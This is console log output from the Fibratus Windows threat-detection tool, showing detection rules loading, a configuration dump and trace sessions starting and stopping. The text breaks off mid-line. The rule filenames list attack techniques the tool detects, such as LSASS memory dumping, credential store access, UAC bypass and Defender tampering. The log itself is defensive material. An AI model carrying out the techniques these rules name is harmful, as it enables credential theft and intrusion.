source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:05:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:11+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:05:11+01:00 level=info msg=bootstrapping with pid 13096. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:05:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true buffer-size=>512 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-thread=>true enable-fileio=>true enable-image=>true enable-threadpool=>false enable-registry=>true min-buffers=>16 enable-net=>true stack-enrichment=>true max-buffers=>36 enable-dns=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 log-stdout=>true formatter=>text max-age=>0 level=>info] + output ......................... [ amqp=>[ passive=>false url=>amqp://localhost:5672 exchange=>fibratus durable=>false timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient vhost=>/ routing-key=>fibratus enabled=>false] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false method=>POST enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ timeout=>5s gzip-compression=>false flush-period=>1s healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false enabled=>false healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s trace-log=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] skip-mmaps=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:05:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:05:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:05:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:05:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:05:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:05:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from 